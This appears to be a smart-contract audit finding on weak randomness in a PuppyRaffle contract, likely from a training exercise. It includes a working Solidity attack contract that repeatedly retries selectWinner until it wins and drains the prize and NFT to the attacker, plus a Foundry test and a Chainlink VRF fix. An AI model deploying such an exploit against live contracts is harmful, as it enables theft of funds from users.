Attacker can manipulate the winner of the raffle and can make himself always be the winner.
The attacker will always win.
pragma solidity ^0.7.6;
import {PuppyRaffle} from "./PuppyRaffle.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract Hack is IERC721Receiver {
uint256 entranceFee;
address owner;
PuppyRaffle puppyRaffle;
constructor(address _puppyRaffle) {
owner = msg.sender;
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
function attack() external payable {
entranceFee = puppyRaffle.entranceFee();
uint256 tokenId = puppyRaffle.totalSupply();
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: msg.value}(players);
uint256 playersLength = 4;
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % playersLength;
uint256 hackIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.selectWinner();
require(address(this) == puppyRaffle.previousWinner(), "attack failed");
(bool success, ) = payable(owner).call{value: address(this).balance}("");
require(success, "transfer failed");
IERC721(address(puppyRaffle)).approve(owner, tokenId);
IERC721(address(puppyRaffle)).transferFrom(address(this), owner, tokenId);
}
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable { }
}
function testCanManipulateWinner() public playerEntered {
uint256 tokenId = puppyRaffle.totalSupply();
uint256 multiplier = 1;
address[] memory players = new address[](2);
players[0] = playerTwo;
players[1] = playerThree;
puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
address attacker = address(10);
vm.prank(attacker);
Hack hack = new Hack(address(puppyRaffle));
while (puppyRaffle.previousWinner() != address(hack)) {
vm.warp(block.timestamp + duration * multiplier);
vm.roll(block.number + multiplier);
try hack.attack{value: entranceFee}() {
} catch {
multiplier++;
}
}
address nftOwner = puppyRaffle.ownerOf(tokenId);
assertEq(puppyRaffle.previousWinner(), address(hack));
assertEq(nftOwner, attacker);
assertGt(attacker.balance, 0);
}
Use Chainlink VRF to generate random numbers.